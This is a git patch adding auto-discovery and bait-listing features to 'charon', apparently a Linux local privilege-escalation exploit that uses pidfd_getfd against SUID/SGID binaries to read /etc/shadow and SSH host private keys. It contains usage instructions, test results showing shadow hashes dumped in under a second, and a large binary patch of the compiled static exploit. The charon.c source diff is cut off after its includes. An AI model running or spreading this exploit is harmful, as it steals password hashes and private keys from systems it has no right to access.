From 95b37066df35627859e22aeead94df4eea3dd3e7 Mon Sep 17 00:00:00 2001 From: Kara Zajac Date: Fri, 15 May 2026 23:33:59 -0400 Subject: [PATCH] =?UTF-8?q?v1.1.0=20=E2=80=94=20auto-discovery=20+=20--lis?= =?UTF-8?q?t-baits=20+=20ANSI=20Shadow=20banner?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * New --auto flag: walk /usr/bin, /usr/sbin, /usr/local/{bin,sbin}, /usr/lib/openssh, /usr/libexec, /bin, /sbin; try every SUID/SGID regular file as a bait against the requested target. Skips known-interactive baits (su, sudo, newgrp, pkexec, mount, …). Per-bait budget capped (5 rounds × 2000 inner) + 60s wall clock, so a full scan finishes in ~10s even on systems where no bait opens the requested file. * New --list-baits flag: enumerate built-in + discoverable bait candidates without firing the exploit. Useful for distro surveys. * SIGKILL daemonic baits (ssh-agent etc.) instead of waiting forever in waitpid(). * Accept SGID-shadow baits, not just SUID-root — chage on Debian/Ubuntu is mode 2755 not 4755 and we kept skipping it. * Banner upgraded to ANSI Shadow block letters with a Styx wave motif beneath the version line. * Cleaner diagnostics: distinguish "primitive fires but no bait opens this file" from "kernel patched (no pidfd_getfd success)". Tested on Debian 13 / kernel 6.12.88-kctf-poc: - default run hits /etc/shadow in 1 fork (~160 tries, <1s) - --auto on /etc/sudoers correctly times out in 11s with diagnostic - --quiet pipes 35 lines of pure shadow to stdout - --verbose shows per-hit + final stats - --list-baits enumerates 26 candidates incl. /usr/bin/chage --- README.md | 17 ++- charon-static | Bin 46704 -> 63088 bytes charon.c | 393 +++++++++++++++++++++++++++++++++++++------------- 3 files changed, 309 insertions(+), 101 deletions(-) diff --git a/README.md b/README.md index 3144344..12afa39 100644 --- a/README.md +++ b/README.md @@ -101,10 +101,25 @@ Output: a single ELF `./charon`. ./charon -q # no banner / progress, just shadow on stdout ./charon -v # show per-hit + final stats ./charon -r 5000 # more patience for slow systems -./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign lure) +./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign bait) +./charon -a # auto-discover SUID/SGID baits if built-ins miss +./charon -L # list candidate baits without trying any ./charon --help ``` +### Auto-discovery + +`--auto` walks `/usr/bin`, `/usr/sbin`, `/usr/local/{bin,sbin}`, +`/usr/lib/openssh`, `/usr/libexec`, `/bin`, `/sbin`, finds every +SUID/SGID regular file (excluding interactive baits like `su`, +`sudo`, `newgrp`, `pkexec`), and tries each as a bait against the +requested target. Per-bait budget is tight (5 rounds × 2000 inner) +so a full scan finishes in ~10 seconds even when nothing matches. + +`--list-baits` is the read-only version — it enumerates the same +candidates without firing the exploit. Useful for surveying which +distros ship which baits. + ### Exit codes | Code | Meaning | diff --git a/charon-static b/charon-static index 7c1e03d18cf666749ac719684a7616b493e6a5fc..fc6afcb4cae30a36fade03e1e36e59d18231796f 100755 GIT binary patch delta 19766 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 Ua4dIDiK>}o2-U4n`d26ZfA5ZF4FCWD delta 7435 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 k$D7;72DxPw;iu$f)!p&6_OZ+ #include #include +#include +#include +#include #include #include #include -#include #include #ifndef __NR_pidfd_open @@ -54,55 +57,114 @@ #define __NR_pidfd_getfd 438 #endif -#define 